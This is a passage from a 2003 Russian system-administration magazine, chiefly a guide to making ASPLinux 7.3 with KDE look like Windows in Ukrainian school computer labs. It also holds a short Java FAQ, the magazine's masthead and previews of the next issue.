Microsoft. Связано это с принятием Статьи 176 Уголовного кодекса Украины «Нарушение авторского права и смежных прав», которая за использование (именно) пиратских программ грозит вам штрафом от 400 до 1000 не облагаемых налогом минимальных доходов либо тюрьмой до двух лет с изъятием техники до суда. К сожалению, монополизации рынка ПО способствуют чиновники, в том числе и в образовании. Например, вся программа по информатике написана с учетом только одного

комплекса ПО, которое представлено... конечно же Microsoft. А ведь образование – это не та сфера деятельности, где выбирают инструмент по задаче, здесь скорее выбирают доступный инструмент! И огромное преимущество, если этот инструмент можно «просмотреть» как на рентгене. В итоге, там где можно было бы купить два компьютерных класса, государство покупает один (теряя только в одной школе до 10 000 $). Ко всему вышесказанному еще хочется обратить внимание на очень


образование интересный проект нового закона народного депу тата Украины Олейника Б. И. «Об использовании Открытых форматов и Свободного программного обеспечения в государственных учреждениях и государственном секторе хозяйства», особенно раздел, посвященный образованию, где указывается, что «учреждения образования государственного сектора должны в любом случае использовать в учебном процессе открытые стандарты и ПО», однако там ни слова о корне зла – программе, которую именно вы должны обновить. А дел тут всего-то – заменить слова Windows, Word, Excel и Access на Операционная Система (ОС), текстовый редактор, электронные таблицы и базы данных, да и нам проще будет без американизмов. Тем более что российская фирма ASPLinux распространяет ОС ASPLinux 7.3 со всем этим богатством абсолютно свободно, да еще дают «на попробовать» всем, выставив дистрибутив в Интернете на FTP-сервере компании (ftp://ftp.asplinux.ru). Вот и встает насущный вопрос перед большинством учителей: можно ли, не выходя за рамки, навязанные чиновниками, выполнить их требования и квалифицированно обучить детей? Сейчас, к великому огорчению пользователей, работающих на Windows, производимые дистрибутивы Linux не рассчитаны на них, так как пока что не имеют интерфейса, близкого к тому, с которым они привыкли работать. Как правило, имеется три вида установки: стандартная, офисная и серверная. Далее пользователь должен доделать все сам. Отсюда напрашивается вывод, что стоит чуть-чуть изменить установку в плане приближения интерфейса к Windows-подобному, и пользователей Linux станет в сотни раз больше: достаточно добавить в дистрибутив еще один тип установки «под Windows»1 и дело в шляпе. Поэтому ниже мы опишем шаги, которые необходимо выполнить для изменения настроек «по умолчанию» в настройки «под Windows», причем последние будут еще при всем лицензионно чистыми. Практически такие настройки вместе с открытой ОС Linux уже в течение более полутора лет применяются в трех государственных общеобразовательных школах города Севастополя.

№1(2), январь 2003

Программы и «железо» С чего начать: какой дистрибутив Linux использовать? За полтора года работы мы использовали все, что могли купить: ASPLinux, Red Hat, Mandrake и Junior разнообразных версий. Но поверьте, что лучше всего в плане «перестройки» подошел дистрибутив ASPLinux 7.3. Создателей этого дистрибутива можно упрекнуть в некотором консерватизме (уж больно скучна стандартная инсталляция), да видно они хорошо поработали над качеством. Какое использовать «железо»? Тут два пути: либо связываться с производителями ASPLinux и просить их совершить магическое чудо: превратить старый класс из 486 машин в современный без покупки новой начинки – они могут создать систему графических терминалов с одним сервером. Замечу только, что учителя, которые имели «счастье» работать в аналогичной системе под Windows, начнут нервно дергаться и примут решение ждать манны небесной. Поэтому для их успокоения отмечу, что здесь UNIX-системы имеют огромное преимущество перед Windows и это будет исключительно надежная система, что даст шанс дождаться получения техники в очень комфортных условиях при минимуме затрат. Ну а если у вас есть компьютеры с примерной конфигурацией типа: 433МГц процессор, 128Мб RAM и 3Гб HDD (как минимум), то я расскажу что делать, чтобы после загрузки компьютера пользователь Windows находился в привычной среде с обычным интерфейсом и правилами работы.

Как установить Linux и что делать после Выберите установку «под офис» и не забудьте отметить отдельно все игры и обучающие программы. Далее необходимо будет ввести пароль суперпользователя (администратора) с именем «root» и создать простого пользователя (давайте создадим пользователя с именем «w» без пароля). Общий объем, занимаемый на жестком диске, будет около 1.8 Гб. После первого запуска необходимо удалить с тандартный gnome display manager (GDM), так как он, в

отличие от kde display manager (KDM), больше соответствует стандартному окну logon в ОС Windows 2000. Для этого проделываются простые действия: ! нажмите на комбинацию клавиш Ctrl+Alt+F1, войдите под пользователем root (введите имя пользователся root и его пароль); ! в командной строке наберите rpm –e gdm; ! введите команду killall gdm. Затем display manager перезагрузится и вы, введя имя пользователя w, на месте пароля нажмете enter и начнется вход в систему ASPLinux с соответствующей заставкой. Именно с заставки мы и начнем, так как известно, что пользователь Windows на редкость пуглив и, увидев мельтешение фишек под синим рекламным квадратом ASPLinux, может войти в состояние ступора. Поэтому зайдем в консоль (используя Ctrl+Alt+F1, как уже отмечалось выше) и вызовем из командной строки mc (midnight commander является разновидностью norton commander или far). В папке /USR/SHARE/APPS/ KSPLASH/PICS и ее подкаталоге LOCOLOR вы должны удалить все файлы, кроме slash_top.png, последний нужно заменить аналогичным, но c облачками размером, согласованным с размером экрана. Тогда при последующей загрузке kde появится столь привычное небо. Далее, Linux как довольно защищенная ОС всюду ждет подвоха и всегда спрашивает при загрузке имя пользователя и пароль, но скажите на милость, зачем все это учителю информатики в обычной школе? Посему исправим и это: зайдем в меню «Пуск» (кнопка «k» в левом нижнем углу экрана – аналог пуска) и найдем пункт «настройки/система/менеджер входа в систему» и отметим «птичками» все пункты. Далее, не нажимая на кнопку «ok», зайдем в пункт «фон/обои» и через обзор найдем файл splash_top.png (облака), отметив, что нужно изменять их размер. И все, «ок». Теперь, выйдя из системы и зайдя в нее снова, вы с изумлением увидите, что загрузка пошла как обычно для пользователя Windows.

93


образование Что делать на рабочем столе? Итак, как изменить «священный» облик Linux, поставив задачу изменить его так, чтобы пользователь Windows не заметил никакой разницы? Пойдем по пунктам.

Изменение кнопки «Пуск» Первым делом обратим внимание на панель задач, заваленную значками, и которые мы первыми и удалим. Затем изменим размер панели на маленький с режимом увеличения пиктограмм и обратим внимание на кнопку «K», которая исполняет роль кнопки «Пуск». Файл, который за нее отвечает, лежит в папке /usr/share/icons/Crystal/32x32/ apps/kmenu.png. Далее откройте программу Gimp, вызовите этот файл, удалите его содержимое и нарисуйте кнопку «Пуск»2. Затем сохраните ее в папке «/hоmе/w» с таким же именем (kmenu.png), а затем под консолью (от суперпользователя) перезапишите ее на старое место. Эта кнопка будет появляться только при приближении курсора к месту кнопки «Пуск». В противном случае мелкая кнопка «K» будет мозолить глаза. Поэтому, если не лень, имеет смысл найти и перерисовать с помощью Gimp файл /usr/share/ apps/Crystal/16x16/apps/kmenu.png, то есть вставить любой символ, кроме «форточки».

Изменение меню кнопки «Пуск» Это самая сложная операция, требующая особой деликатности: дело в том, что в меню ASPLinux 7.3 вставлено два одинаковых по структуре меню от графических оболочек gnome и KDE, которые находятся в стандартной поставке. Посему сначала посмотрим на картинку – цель и как ее достичь объясним ниже. Итак, перед нами комплексное меню ASPLinux 7.3: в нем есть пункт «программы» – это и есть вотчина gnome. Помните, что из этого пункта ничего нельзя переносить, но вносить можно, при этом особое внимание обратите на пункты с одним и тем же названием: их ни в коем случае нельзя ставить рядом. Первое, что создадим внутри «программ» – папку «стандартные», в нее переместим офис, редакторы (блокно-

94

ты), abiword (аналог wordpad), органайзер, калькулятор, адресную книгу, karm, knotes, kjots, домой (сразу переименуйте его в «проводник») и скопируем туда пару карточных игр и сапера (kmines). Далее начните перетаскивать все прочие папки внутрь папки «программы», за исключением «поиска файлов», «справки», «настройки» («центр управления» перетаскивать нельзя – скройте), еще раз обращаем внимание на то, что одноименные папки kde вы должны вставлять как подменю, либо их потеряете.

«Рабочий стол» «Мой компьютер» При первой загрузке kde вы должны настроить рабочий стол в стиле Windows, далее необходимо уничтожить все ярлыки, кроме «корзины», к слову, «корзина» в оформлении KDE – явный прокол: черный слизистый бак, который никак не вяжется с великолепием оформления нового kde 3.0.2. Мы, к примеру, его тут же поменяли на собственные картинки3 в стиле XP: для этого отредактируйте с помощью gimp файлы trashcan _empty.png и trashcan_full. png из папки /usr/share/icons/crystal/32x32/ filesystems так, как вам угодно, и после сохранения в домашний каталог перенесите измененные файлы обратно. Далее зайдите в пункт «настройки/периферия/мышь» и настройте мышь на двойной щелчок (иначе каждый ученик сможет запустить по сто одинаковых приложений). Теперь создадим папку «мой компьютер»4 с соответствующим ярлыком, в ней создаем псевдодиск в виде папки «диск с», заодно перенесем туда ссылки на «диск 3,5 a», «cd rom» и «панель управления», которую создаем перетаскиванием из меню кнопки «пуск» – раздела «настройки» (то, что нужно, переименовываем) и для удобства вставляем «управление принтером» и «сетевое окружение» (при наличии связи с сервером), понятно, что и фон нужно создать соответствующий. Зайдя в папку «диск с», создаем папки с любым содержанием, включая папку «мои документы».

«Проводник» Точно также создаем папку «проводник», в которую копируем в виде ссылок все содержимое папки «мой компьютер», но при этом настроим и сохраним вертикально расположение папок, при этом в папке «вид/ показывать» аккуратно уберем все лишнее.

Офис Непременно настройте Open Office.org под привычный для пользователей Windows вид. Для этого нажмите правой кнопкой мыши на верхнем меню, кроме того, через пункт «сервис/параметры» настройте путь сохранения в папку «мои документы».

Заключение Возможно, описание настроек не совсем полное, ибо нельзя предусмотреть все, но поверьте, потратив немного времени, вы навсегда забудете про эти настройки. Сам процесс ваяния очень интересен – так что непременно попробуйте. Уверен, что вскоре появится новый дистрибутив ASPLinux с чем-то подобным, а куда деваться?

1

Необходимо создать три вида инсталляции: ! для слабых машин, типа 486, с сервером и графическими терминалами (большинство школ имеют этот «мусор»); ! для pentium–i с оконным менеджером icewm и openoffice.org; ! для хороших машин (с 433МГц процессором и 128Мб RAM – минимум). 2

Обращаю ваше внимание, что все ярлыки и символы Windows лицензированы, и их нельзя использовать. 3 Картинки ярлыков вы либо сами рисуете, либо используете большую коллекцию KDE, либо скачиваете с сайта http://artist.kde.org. 4 Боковую панель Konqueror уберите через пункт «окно/показать боковую панель навигации», затем зайдите в пункт меню «настройка/ сохранять настройки» для просмотра каталога и дважды «мигните» отметкой.


FAQ JAVA ВОПРОС: Можно ли получить внутренний адрес экземпляра класса – хотя бы для отладочных целей или для идентификации экземпляра? ОТВЕТ: Да. С помощью метода System.identityHashCode(Object x). Возвращаемое целое число является уникальным идентификатором экземпляра x в рамках данной Javaмашины. В типичных реализациях языка Java это число соответствует внутреннему адресу объекта в памяти (так написано в документации фирмы Sun). Язык Java, конечно, не позволяет использовать этот адрес для «нелегальных действий» с объектами, например для считывания или модификации полей. Но его вполне можно использовать для идентификации экземпляров объектов. Например, распечатка identityHashCode позволяет в процессе отладки убедиться в идентичности некоторых объектных переменных, появляющихся в разных местах работы программы. Если в классе, экземпляром которого является объект x, метод hashCode не был переопределен, то вместо «System.identityHashCode(x)» можно использовать эквивалентный вызов «x.hashCode()».

ВОПРОС: Хотелось бы получить в распоряжение библиотечку «очень полезных функций» (вроде методов класса Math), которые были бы доступны в моих классах без предварительного указания имени класса, содержащего эти функции. Возможно ли это? ОТВЕТ: Да, хотя это и противоречит объектно-ориентированной идеологии языка Java. Можно создать класс-«библиотечку», например Tools, состоящий только из статических методов – этих самых «очень полезных функций», и взять за правило наследовать от него все новые классы. Такой прием не годится, если новый класс по условию должен быть унаследован от какого-либо класса, разработанного не вами, например от java.lang.Thread. В этой ситуации можно сделать новый класс вложенным по отношению к внешнему классу, унаследованному от класса-«библиотечки». Однако вряд ли такое решение стоит рекомендовать. Может быть, в следующих версиях Java появится возможность делать то же самое «цивилизованно» – указывая в начале java-файла набор классов, статические члены которых автоматически становятся доступными без дополнительных уточнений. Составил Даниил Алиевский

Оформляйте подписку на журнал через агентство «Роспечать»

Подписные индексы: для частных лиц

81655 для организаций и предприятий

81656 Рады видеть Вас нашими читателями! №1(2), январь 2003

95


№ 1(2), Январь, 2003 год УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев РЕДАКЦИЯ Главный редактор Александр Михалев chief@samag.ru Ответственный секретарь Наталья Хвостова sekretar@samag.ru Художник Игорь Усков igus@samag.ru Верстка Владимир Положевец imposer@samag.ru Владимир Лукин maker_up@samag.ru РЕКЛАМНАЯ СЛУЖБА тел.:(095)928-8253 (доб. 112) факс:(095)928-8253 Константин Меделян reklama@samag.ru 103012, г. Москва, Ветошный переулок, дом 13/15 тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» ПЕЧАТЬ ЗАО «Холдинговая компания «Блицинформ». Образцовая типография «Блиц-принт» г. Киев, ул. Довженко, 3. Тираж 5000 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.

96

ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Мифы и легенды современной ОСологии… Речь пойдёт о весьма распространённых мифах о трёх популярных операционных системах (Windows, Unix FreeBSD и Linux) в частности и о других в общем (сюда будут отнесены QNX, OS/2, BeOS и все-все-все…). Итак, что у нас есть на данный момент? Относительно немного: компьютерное сообщество, имеющее дурную привычку тратить много сил, энергии, дискового пространства серверов и сетевой пропускной способности для обсуждения того, чья игрушка лучше, а именно: Windows, Unix FreeBSD или Linux. На основании этих… назовём их мягко – споров, часто складывается определённое мнение людей, не особо в этом разбирающихся… Попробуем заняться сложным и опасным делом – понять кто прав, а кто – не очень.

Абсолютно все о... ISDN (Integrated Services Digital Network) – цифровые сети с интегральными (встроенными) услугами. Эта технология относится к сетям, в которых режим коммутации каналов является основным, а данные обрабатываются в цифровой форме. Идеи перехода телефонных сетей общего пользования (ТфОП) на полностью цифровую обработку данных высказывались давно. Сначала предполагалось, что абоненты этой сети будут передавать только голосовые сообщения. Такие сети получили название IDN – Integrated Digital Network. Термин “интегрированная сеть” относился к цифровой обработке информации сетью с цифровой передачей голоса абонентом.

Как пингвин говорит по телефону О том, как настроить в Linux модемное соединение, уже написано большое количество статей. Но согласитесь, что когда необходимо настраивать какой-нибудь модем – будь то входящее или исходящее соединение – все равно приходится открывать пару-тройку документаций, чтобы разобраться во всем с самого начала. Настоящая статья – практически готовое решение по настройке dialinсервера.

Milter = Mail + Filter В версии Sendmail 8.11.6 появилось нововведение, которое приоткрывает дверцу над таинственными процессами по обработке почтовых сообщений. И эта дверца – программный интерфейс фильтров по содержанию (content filter API или, коротко, Milter) – очень существенный элемент для организации обработки почты в масштабах всего почтового сервера.

Империя Cisco Данной публикацией мы начинаем знакомить наших читателей с оборудованием, выпускаемым фирмой Cisco. Основанная в 1984 году, Cisco за прошедшие годы стала признанным лидером в производстве сетевого оборудования. В настоящее время в сферу интересов компании входят не только канонические коммутаторы и маршрутизаторы, но и многочисленное оборудование и программное обеспечение, имеющие к вычислительным сетям весьма опосредованное отношение.


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.